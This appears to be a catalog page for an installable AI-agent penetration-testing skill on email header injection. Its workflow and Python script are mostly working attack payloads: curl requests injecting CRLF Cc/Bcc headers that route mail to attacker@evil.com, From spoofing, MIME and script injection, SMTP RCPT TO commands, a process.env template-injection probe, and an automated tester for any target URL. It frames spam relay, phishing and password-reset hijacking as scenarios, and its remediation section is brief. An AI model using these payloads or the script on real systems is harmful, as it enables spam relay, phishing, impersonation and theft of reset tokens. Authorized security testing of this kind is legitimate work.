Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-SkillsFramework mappings
MITRE ATT&CK
When to Use
- When testing contact forms, feedback forms, or "email a friend" functionality
- During assessment of password reset email functionality
- When testing newsletter subscription or notification email systems
- During penetration testing of applications that send emails based on user input
- When auditing email-related API endpoints for header injection
Prerequisites
- Burp Suite for intercepting and modifying HTTP requests
- Understanding of SMTP protocol and email header structure
- Knowledge of CRLF injection techniques (\r\n sequences)
- Test email accounts for receiving injected emails
- Access to application features that trigger email sending
- SMTP server logs access for monitoring injection attempts
Workflow
Step 1 — Identify Email Injection Points
# Identify form fields that end up in email headers:
# - "From" name or email address fields
# - "To" or "CC" fields in sharing features
# - Subject line inputs
# - Reply-To fields
# Common endpoints:
# POST /contact - Contact forms
# POST /share - Share via email features
# POST /invite - Invitation systems
# POST /api/send-email - Email API endpoints
# POST /forgot-password - Password reset forms
# Test basic functionality first
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello&message=Test message"Step 2 — Test for CRLF Header Injection
# Inject additional email headers via CRLF in the email field
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"
# Inject BCC header
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"
# Inject via the name field
curl -X POST http://target.com/contact \
-d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"
# Inject via subject field
curl -X POST http://target.com/contact \
-d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"
# Try different CRLF encoding variants
# %0D%0A (CRLF)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0D%0ACc:attacker@evil.com"
# %0A (LF only)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ACc:attacker@evil.com"
# %0D (CR only)
curl -X POST http://target.com/contact \
-d "email=test@test.com%0DCc:attacker@evil.com"
# Double encoding
curl -X POST http://target.com/contact \
-d "email=test@test.com%250ACc:attacker@evil.com"Step 3 — Inject Custom Email Content
# Override email body by injecting Content-Type and body
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"
# Inject additional MIME parts
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"
# Override From header for email spoofing
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AFrom:ceo@target.com"
# Inject Reply-To for phishing
curl -X POST http://target.com/contact \
-d "email=test@test.com%0AReply-To:attacker@evil.com"Step 4 — Test IMAP/SMTP Injection
# IMAP command injection via email field
curl -X POST http://target.com/webmail/search \
-d "query=test%0AEXAMINE INBOX"
# SMTP command injection
curl -X POST http://target.com/api/send \
-d "to=test@test.com%0ARCPT TO:attacker@evil.com"
# SMTP VRFY command injection
curl -X POST http://target.com/api/verify \
-d "email=test@test.com%0AVRFY admin"
# Test SMTP relay abuse
curl -X POST http://target.com/contact \
-d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"Step 5 — Test JSON-Based Email APIs
# JSON API header injection
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'
# Array injection for multiple recipients
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'
# Template injection in email body
curl -X POST http://target.com/api/send-email \
-H "Content-Type: application/json" \
-d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'Step 6 — Validate Findings
# Check if injected CC/BCC emails were received
# Monitor attacker@evil.com inbox for received copies
# Verify header injection via email raw source
# In received email, check "View Original" or "Show Headers"
# Look for injected Cc:, Bcc:, From:, or Reply-To: headers
# Test if the application is usable as a spam relay
# by injecting multiple recipients in BCC
# Document the full injection chain
# 1. Injection point (which field)
# 2. Encoding required (CRLF, URL encoding)
# 3. Impact (spam relay, phishing, data theft)Key Concepts
| Concept | Description |
|---|---|
| CRLF Injection | Injecting carriage return and line feed characters to create new email headers |
| Header Injection | Adding unauthorized headers (Cc, Bcc, From) to outgoing emails |
| Spam Relay | Abusing email functionality to send spam to arbitrary recipients |
| Email Spoofing | Modifying From or Reply-To headers to impersonate trusted senders |
| MIME Manipulation | Injecting MIME boundaries to override email body content |
| SMTP Command Injection | Injecting raw SMTP commands through unsanitized email parameters |
| Newline Characters | \r\n (CRLF), \n (LF), \r (CR) used to separate email headers |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for modifying email-related form submissions |
| swaks | Swiss Army Knife for SMTP testing and header injection validation |
| OWASP ZAP | Automated scanner with email injection detection |
| mailhog | Local SMTP testing server for capturing injected emails |
| smtp4dev | Development SMTP server for monitoring email injection results |
| Nuclei | Template scanner with email header injection detection templates |
Common Scenarios
- Spam Relay — Inject BCC headers to relay mass emails through the target's SMTP server, bypassing spam filters that trust the sender domain
- Phishing via Contact Form — Modify From and Reply-To headers to send phishing emails appearing to originate from the target organization
- Password Reset Hijack — Inject CC header in password reset flow to receive a copy of reset tokens sent to the victim
- Email Content Override — Inject MIME Content-Type headers to replace legitimate email body with malicious phishing content
- Internal Email Abuse — Use header injection to send emails to internal addresses not normally accessible through the application
Output Format
## Email Header Injection Report
- **Target**: http://target.com/contact
- **Injection Point**: email field in contact form
- **Encoding Required**: URL-encoded LF (%0A)
### Findings
| # | Field | Payload | Result | Severity |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC header injected | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC header injected | High |
| 3 | name | Test%0AFrom:ceo@target.com | From spoofing | Medium |
### Remediation
- Validate email addresses with strict regex rejecting newline characters
- Strip \r, \n, and encoded variants from all email-related input
- Use parameterized email APIs that separate headers from data
- Implement rate limiting on email-sending functionalitySource materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.7 KB
API Reference: Testing for Email Header Injection
CRLF Encoding Variants
| Encoding | Representation | Description |
|---|---|---|
%0A |
LF | URL-encoded line feed |
%0D%0A |
CRLF | URL-encoded carriage return + line feed |
%0D |
CR | URL-encoded carriage return |
%250A |
Double-encoded LF | Bypasses single decode |
\n |
Raw LF | Direct newline character |
Injectable Headers
| Header | Impact | Severity |
|---|---|---|
| Cc: | Send copy to attacker | High |
| Bcc: | Hidden copy to attacker | High |
| From: | Email spoofing | Medium |
| Reply-To: | Phishing redirect | Medium |
| Subject: | Subject override | Low |
| Content-Type: | Body injection | High |
| To: | Additional recipients | High |
Common Injection Points
| Endpoint | Field | Risk |
|---|---|---|
| /contact | email, name, subject | Header injection |
| /share | to, from | Recipient injection |
| /invite | Mass invitation abuse | |
| /forgot-password | CC token to attacker | |
| /api/send-email | to, subject, body | Full control |
Attack Scenarios
| Scenario | Technique |
|---|---|
| Spam relay | Inject BCC with mass recipients |
| Phishing | Override From/Reply-To |
| Password reset hijack | CC reset token email |
| Content override | MIME boundary injection |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests |
>=2.28 | HTTP form submission |
json |
stdlib | Report generation |
References
- OWASP Email Injection: https://owasp.org/www-community/attacks/Email_Injection
- swaks SMTP testing: https://www.jetmore.org/john/code/swaks/
- mailhog: https://github.com/mailhog/MailHog
Scripts 1
agent.py6.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing email header injection vulnerabilities.
Tests web application email functionality for SMTP header injection
via CRLF sequences, allowing injection of CC/BCC headers, From
spoofing, MIME manipulation, and spam relay abuse.
"""
import json
import sys
from pathlib import Path
from datetime import datetime
try:
import requests
except ImportError:
requests = None
CRLF_ENCODINGS = [
("%0A", "LF (URL-encoded)"),
("%0D%0A", "CRLF (URL-encoded)"),
("%0D", "CR (URL-encoded)"),
("\n", "Raw LF"),
("\r\n", "Raw CRLF"),
("%250A", "Double-encoded LF"),
("%25250A", "Triple-encoded LF"),
]
HEADER_PAYLOADS = [
("Cc:attacker@evil.com", "CC injection"),
("Bcc:attacker@evil.com", "BCC injection"),
("From:ceo@target.com", "From spoofing"),
("Reply-To:attacker@evil.com", "Reply-To hijack"),
("Subject:Injected Subject", "Subject override"),
("Content-Type:text/html", "Content-Type injection"),
("To:victim@target.com", "Additional recipient"),
]
class EmailHeaderInjectionAgent:
"""Tests web apps for email header injection vulnerabilities."""
def __init__(self, target_url, output_dir="./email_injection"):
self.target_url = target_url.rstrip("/")
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _post(self, path, data, content_type="form", timeout=15):
if not requests:
return None
url = f"{self.target_url}{path}" if path.startswith("/") else self.target_url
try:
if content_type == "json":
return requests.post(url, json=data, timeout=timeout)
return requests.post(url, data=data, timeout=timeout)
except requests.RequestException:
return None
def test_field_injection(self, endpoint, field_name, base_email,
base_payload=None):
"""Test a specific form field for header injection."""
results = []
base = base_payload or {}
for crlf, crlf_desc in CRLF_ENCODINGS:
for header, header_desc in HEADER_PAYLOADS:
payload = {**base}
payload[field_name] = f"{base_email}{crlf}{header}"
resp = self._post(endpoint, payload)
if not resp:
continue
injected = False
indicators = [
resp.status_code in (200, 302),
"sent" in resp.text.lower() or "success" in resp.text.lower(),
"error" not in resp.text.lower() and "invalid" not in resp.text.lower(),
]
if sum(indicators) >= 2:
injected = True
if injected:
result = {
"field": field_name,
"crlf_encoding": crlf_desc,
"header_injected": header_desc,
"payload": f"{base_email}{crlf}{header}",
"status_code": resp.status_code,
}
results.append(result)
self.findings.append({
"severity": "high",
"type": "Email Header Injection",
"detail": f"{field_name}: {header_desc} via {crlf_desc}",
"endpoint": endpoint,
})
break
return results
def test_contact_form(self, endpoint="/contact", base_email="test@test.com"):
"""Test a contact form for header injection across all fields."""
fields_to_test = ["email", "name", "subject", "from", "reply_to"]
base_payload = {
"email": base_email,
"name": "Test User",
"subject": "Security Test",
"message": "This is an authorized security test.",
}
all_results = []
for field in fields_to_test:
if field in base_payload or field in ("from", "reply_to"):
results = self.test_field_injection(endpoint, field, base_email, base_payload)
all_results.extend(results)
return all_results
def test_json_api(self, endpoint, base_email="test@test.com"):
"""Test JSON-based email API for injection."""
results = []
payloads = [
{"to": f"{base_email}\nCc:attacker@evil.com", "subject": "Test", "body": "Test"},
{"to": [base_email, "attacker@evil.com"], "subject": "Test", "body": "Test"},
{"to": base_email, "subject": "Test\nBcc:attacker@evil.com", "body": "Test"},
]
for i, payload in enumerate(payloads):
resp = self._post(endpoint, payload, content_type="json")
if resp and resp.status_code in (200, 201):
results.append({
"payload_index": i,
"status": resp.status_code,
"response_preview": resp.text[:100],
})
self.findings.append({
"severity": "high",
"type": "JSON Email API Injection",
"detail": f"Payload {i} accepted at {endpoint}",
})
return results
def test_smtp_commands(self, endpoint, field_name="email", base_email="test@test.com"):
"""Test for SMTP command injection."""
smtp_payloads = [
f"{base_email}\nRCPT TO:<attacker@evil.com>",
f"{base_email}\nVRFY admin",
f"{base_email}\nDATA\nSubject: Injected\n\nBody",
]
results = []
for payload in smtp_payloads:
data = {field_name: payload, "message": "Test"}
resp = self._post(endpoint, data)
if resp and resp.status_code in (200, 302):
results.append({"payload": payload[:60], "status": resp.status_code})
return results
def generate_report(self, endpoint="/contact"):
form_results = self.test_contact_form(endpoint)
report = {
"report_date": datetime.utcnow().isoformat(),
"target": self.target_url,
"endpoint": endpoint,
"form_injection_results": form_results,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "email_injection_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <target_url> [--endpoint /contact]")
sys.exit(1)
url = sys.argv[1]
endpoint = "/contact"
if "--endpoint" in sys.argv:
endpoint = sys.argv[sys.argv.index("--endpoint") + 1]
agent = EmailHeaderInjectionAgent(url)
agent.generate_report(endpoint)
if __name__ == "__main__":
main()
Keep exploring